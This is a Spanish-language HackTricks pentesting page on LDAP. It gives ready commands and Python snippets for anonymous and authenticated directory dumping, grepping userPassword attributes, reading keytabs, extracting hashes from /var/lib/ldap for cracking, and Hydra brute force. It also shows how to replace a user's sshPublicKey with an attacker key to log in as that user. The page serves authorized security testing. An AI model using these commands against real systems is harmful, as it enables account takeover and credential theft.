hacktricks/network-services-pentesting/pentesting-ldap.md

394 lines
19 KiB
Markdown

# 389, 636, 3268, 3269 - Pentesting LDAP
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Información Básica
Extraído de: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
LDAP (Lightweight Directory Access Protocol) es un protocolo de software que permite a cualquiera **localizar** organizaciones, individuos y otros **recursos** como archivos y dispositivos en una red, ya sea en Internet público o en una intranet corporativa. LDAP es una versión "ligera" (menor cantidad de código) del Directory Access Protocol (DAP).
Un directorio LDAP puede estar **distribuido** entre varios servidores. Cada servidor puede tener una versión **replicada** del directorio completo que se **sincroniza** periódicamente. Un servidor LDAP se llama Agente del Sistema de Directorio (DSA). Un servidor LDAP que recibe una solicitud de un usuario se responsabiliza de la solicitud, pasándola a otros DSAs según sea necesario, pero asegurando una única respuesta coordinada para el usuario.
Un directorio LDAP está organizado en una jerarquía simple de "árbol" que consta de los siguientes niveles:
* El directorio raíz (el punto de partida o la fuente del árbol), que se ramifica a
* Países, cada uno de los cuales se ramifica a
* Organizaciones, que se ramifican a
* Unidades organizativas (divisiones, departamentos, etc.), que se ramifican a (incluye una entrada para)
* Individuos (que incluye personas, archivos y recursos compartidos como impresoras)
**Puerto predeterminado:** 389 y 636(ldaps). El Catálogo Global (LDAP en ActiveDirectory) está disponible por defecto en los puertos 3268 y 3269 para LDAPS.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### Formato de Intercambio de Datos LDAP
LDIF (LDAP Data Interchange Format) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Agregar, Modificar, Eliminar, Renombrar).
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
* Las líneas 1-3 definen el dominio de nivel superior local
* Las líneas 5-8 definen el primer nivel de dominio moneycorp (moneycorp.local)
* Las líneas 10-16 definen 2 unidades organizativas: dev y ventas
* Las líneas 18-26 crean un objeto del dominio y asignan atributos con valores
## Escribir datos
Ten en cuenta que si puedes modificar valores podrías ser capaz de realizar acciones realmente interesantes. Por ejemplo, imagina que **puedes cambiar la información "sshPublicKey"** de tu usuario o de cualquier usuario. Es muy probable que si este atributo existe, entonces **ssh está leyendo las claves públicas desde LDAP**. Si puedes modificar la clave pública de un usuario **podrás iniciar sesión como ese usuario incluso si la autenticación por contraseña no está habilitada en ssh**.
```bash
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Captura de credenciales en texto claro
Si LDAP se utiliza sin SSL, puedes **capturar credenciales en texto plano** en la red.
Además, puedes realizar un ataque **MITM** en la red **entre el servidor LDAP y el cliente.** Aquí puedes hacer un **Ataque de Degradación** para que el cliente utilice las **credenciales en texto claro** para iniciar sesión.
**Si se utiliza SSL** puedes intentar hacer **MITM** como se mencionó anteriormente pero ofreciendo un **certificado falso**, si el **usuario lo acepta**, podrás degradar el método de autenticación y ver las credenciales de nuevo.
## Acceso Anónimo
### Evitar la verificación de TLS SNI
De acuerdo con [**este informe**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) solo con acceder al servidor LDAP con un nombre de dominio arbitrario (como company.com), pudo contactar el servicio LDAP y extraer información como usuario anónimo:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### Vinculaciones LDAP anónimas
Las [vinculaciones LDAP anónimas](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permiten a **atacantes no autenticados** recuperar información del dominio, como un listado completo de usuarios, grupos, computadoras, atributos de cuentas de usuario y la política de contraseñas del dominio. Esta es una **configuración heredada**, y a partir de Windows Server 2003, solo se permite a usuarios autenticados iniciar solicitudes LDAP.\
Sin embargo, los administradores pueden haber necesitado **configurar una aplicación en particular para permitir vinculaciones anónimas** y otorgado más acceso del previsto, proporcionando así a usuarios no autenticados acceso a todos los objetos en AD.
## Credenciales Válidas
Si tienes credenciales válidas para iniciar sesión en el servidor LDAP, puedes volcar toda la información sobre el Administrador del Dominio utilizando:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
```
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
## Enumeración
### Automatizada
Utilizando esto podrás ver la **información pública** (como el nombre de dominio)**:**
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
### Python
<details>
<summary>Ver la enumeración de LDAP con python</summary>
Puedes intentar **enumerar un LDAP con o sin credenciales usando python**: `pip3 install ldap3`
Primero intenta **conectarte sin** credenciales:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```
Si la respuesta es `True` como en el ejemplo anterior, puedes obtener algunos **datos interesantes** del servidor LDAP (como el **contexto de nomenclatura** o **nombre de dominio**) desde:
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
Una vez que tengas el contexto de nomenclatura, puedes realizar consultas más interesantes. Esta consulta simple debería mostrarte todos los objetos en el directorio:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
O **volcar** todo el ldap:
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
```
</details>
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) \*\*\*\* es un script de Python útil para **enumerar usuarios, grupos y computadoras de un dominio de Windows** utilizando consultas LDAP.
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
```
### ldapsearch
Comprueba credenciales nulas o si tus credenciales son válidas:
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
Si encuentras algo que diga que el "_bind must be completed_" significa que las credenciales son incorrectas.
Puedes extraer **todo de un dominio** utilizando:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
Extraer **usuarios**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extraer **computers**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **my info**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Domain Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Usuarios del Dominio**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Enterprise Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Administrators**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraer **Remote Desktop Group**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Para ver si tienes acceso a alguna contraseña, puedes usar grep después de ejecutar una de las consultas:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
Tenga en cuenta que las contraseñas que puede encontrar aquí podrían no ser las reales...
#### pbis
Puede descargar **pbis** desde aquí: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) y generalmente se instala en `/opt/pbis`.\
**Pbis** le permite obtener información básica fácilmente:
```bash
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
## Interfaz Gráfica
### Apache Directory
[**Descarga Apache Directory desde aquí**](https://directory.apache.org/studio/download/download-linux.html). Puedes encontrar un [ejemplo de cómo usar esta herramienta aquí](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
### jxplorer
Puedes descargar una interfaz gráfica con servidor LDAP aquí: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
Por defecto se instala en: _/opt/jxplorer_
![](<../.gitbook/assets/image (22) (1).png>)
### Godap
Puedes acceder en [https://github.com/Macmod/godap](https://github.com/Macmod/godap)
## Autenticación vía kerberos
Usando `ldapsearch` puedes **autenticarte** contra **kerberos en lugar** de vía **NTLM** utilizando el parámetro `-Y GSSAPI`
## POST
Si puedes acceder a los archivos donde se contienen las bases de datos (podrían estar en _/var/lib/ldap_). Puedes extraer los hashes utilizando:
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
Puede alimentar a john con el hash de la contraseña (desde '{SSHA}' hasta 'structural' sin añadir 'structural').
### Archivos de Configuración
* General
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* Servidor IBM SecureWay V3
* V3.sas.oc
* Servidor Microsoft Active Directory
* msadClassesAttrs.ldif
* Servidor Netscape Directory 4
* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* Servidor de directorio OpenLDAP
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Servidor Sun ONE Directory 5.1
* 75sas.ldif
## Comandos Automáticos HackTricks
```
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>